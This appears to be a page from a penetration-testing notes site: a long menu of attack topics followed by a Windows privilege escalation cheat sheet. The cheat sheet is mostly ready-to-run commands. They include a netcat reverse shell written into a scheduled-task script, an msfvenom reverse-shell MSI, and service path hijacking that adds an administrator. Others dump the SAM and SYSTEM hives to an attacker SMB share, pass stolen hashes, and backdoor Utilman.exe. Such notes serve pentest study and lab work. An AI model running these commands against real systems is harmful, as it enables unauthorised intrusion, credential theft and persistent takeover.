Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Windows Privilege Escalation
  - Links
  - Account Types
  - Enumeration
    - Users & Groups
    - Files
    - System
  - Exploit
    - DLL Hijacking
    - Unquoted Service Path
    - Token Impersonation
    - Schedules Tasks
    - MSI Elevated Installer
    - Search for Credentials
    - accesschk64 Permissions
      - accesschk64 for Services
    - Startup Application
    - Password Mining
    - Unattended Windows Installation
    - Powershell History file
    - Internet Information Services (IIS)
    - Putty
    - schtask and icacls
    - Always Installs Elevated
    - Service Misconfiguration
    - Unquoted Service Path
    - Permissions
      - SeBackup / Restore
      - SeTakeOwnership
      - SeImpersonate / SeAssignPrimaryToken

# Windows Privilege Escalation

## Links

- Fundamentals
- PowerShellEmpire
- JAWS
- winpeas
- privescheck
- windows exploit suggester
- hacktricks

## Account Types

- Administrator local & domain
- Standard local & domain
- Guest
- System, local system, final escalation
- Local Service, got anonymous connections over network.
- Network Service, default service account, authentication via network

## Enumeration

### Users & Groups

    whoami /priv
    net users
    net users <username>
    net localgroup
    net localgroup <groupname>
    query session
    qwinsta

### Files

- powershell

### System

    hostname
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

- Installed software, check for existing exploits

    wmic product get name,version,vendor

- Services

    wmic service list brief | findstr  "Running"

## Exploit

### DLL Hijacking

- DLL hijacking

### Unquoted Service Path

- unquoted service path

### Token Impersonation

- `SeImpersonatePrivilege` is necessary, check via `whoami priv`
- Hot Potato is best before Server 2019 and Windows 10 (version 1809)
- Potatos
- itm4n

### Schedules Tasks

- `schtasks` and `schtasks /query /tn %TASK_NAME% /fo list /v`
- `Autoruns64.exe`

### MSI Elevated Installer

- Always install elevated

### Search for Credentials

    cmdkey /list

- Use found credentials

    runas /savecred /user:<user> reverse_shell.exe

- Keys containing passwords

    reg query HKLM /f password /t REG_SZ /s
    reg query HKCU /f password /t REG_SZ /s

### accesschk64 Permissions

- Check access to files and folders

    accesschk64 -wvu "file.exe"

- If permission `SERVICE_CHANGE_CONFIG` is set

     sc config <service> binpath="net localgroup administrators user /add"

- Service escalation
- Any other binary works as well. Copy the compiled portable executable from the `service_escalation` onto the binary path.Restart the service afterwards.

#### accesschk64 for Services

    accesschk64 -qlc "service.exe"

- If permission `SERVICE_ALL_ACCESS` is set it is configurable upload a reverse shell

    icacls C:\Windows\Temp\shell.exe /grant Everyone:F

- Reconfigure and restart service

    sc config TheService binPath= "C:\Path\to\shell.exe" obj= LocalSystem
    sc stop TheService
    sc start TheService

### Startup Application

- Put reverse shell instead of an executable inside `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`

### Password Mining

- Set up metasploit

    use auxiliary/server/capture/http_basic
    set srvport 7777
    set uripath pass

- Visit site on target

### Unattended Windows Installation

- Investigate the following paths to potentially find user credentials

    C:\Unattend.xml
    C:\Windows\Panther\Unattend.xml
    C:\Windows\Panther\Unattend\Unattend.xml
    C:\Windows\system32\sysprep.inf
    C:\Windows\system32\sysprep\sysprep.xml

- Watch out for the `<Credentials>` tags

### Powershell History file

    Get-Content %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

### Internet Information Services (IIS)

- Default web server on windows
- Paths containing credentials are the following

    C:\inetpub\wwwroot\web.config
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

### Putty

- Saved proxy password credentials may be found via

    reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "ProxyPassword" /s

### schtask and icacls

- Check `schtasks /query /tn %TASK_NAME% /fo list /v`
- Check script for scheduled tasks, `F` means full access

    icacls <PathToScript>

- Put payload inside the script

    echo "C:\tmp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" > <PathToSript>

- Run the task

    schtasks /run /tn <taskname>

### Always Installs Elevated

- These should be set

    C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
    C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

- Craft `*.msi` file with a payload

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o wizard.msi

- Upload and execute via

    msiexec /quiet /qn /i C:\Windows\Temp\wizard.msi

### Service Misconfiguration

- Check services, watch out for `BINARY_PATH_NAME` and `SERVICE_START_NAME`

    sc qc apphostsvc

- Check found permissions via

    icacls <BINARY_PATH_NAME>

- If the service binary path is writeable move the payload to its path and grant permissions

    icacls <Payload_Service.exe> /grant Everyone:F

    sc stop <service>
    sc start <service>

- Catch the reverse shell service

Others ways are: * Discretionary Access Control (DACL) can be opened via right click on the service and go to properties * All services are stored under `HKLM\SYSTEM\CurrentControlSet\Services\`

### Unquoted Service Path

- If `BINARY_PATH_NAME` spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.
- A created directory at install time inherits the permissions from its parent. Check it via

    icacls <directory>

- Use `service-exe` payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service path
- Set permissions

    icacls C:\Path/to/service.exe /grant Everyone:F

### Permissions

- priv2admin
- `whoami /priv`

#### SeBackup / Restore

- If `SeBackup / SeRestore` (rw on all files) is set an elevated `cmd.exe` may be opened
- Download `SAM` and `System` hashes

    reg save hklm\system C:\Windows\Temp\system.hive
    reg save hklm\sam    C:\Windows\Temp\sam.hive

- Start smb server on attack machine

    copy C:\Windows\Temp\sam.hive \\ATTACKER_IP\
    copy C:\Windows\Temp\system.hive \\ATTACKER_IP\

- Dump the hashes

    secretsdump.py -sam sam.hive -system system.hive LOCAL

- Use pass the hash to login

    psexec.py -hashes <hash> administrator@$TARGET_IP

#### SeTakeOwnership

- If `SeTakeOwnership` is set one can take ownership of every file or service.

    takeown /f C:\Windows\System32\Utilman.exe
    icacls C:\Windows\System32\Utilman.exe /grant <user>:F
    copy cmd.exe utilman.exe

- Log out, on the Login screen click on `Ease of Access`

#### SeImpersonate / SeAssignPrimaryToken

- It is a rouge potato
- Execute process as another user
- Service accounts operate through impersonation
- Check privileges via `whoami /priv` for these
- Object Exporter Identifier (OXID) is executed as via DCOM as a resolver on port 135 to socket of attacker

    socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234

- Catch the potatoe executable from target via netcat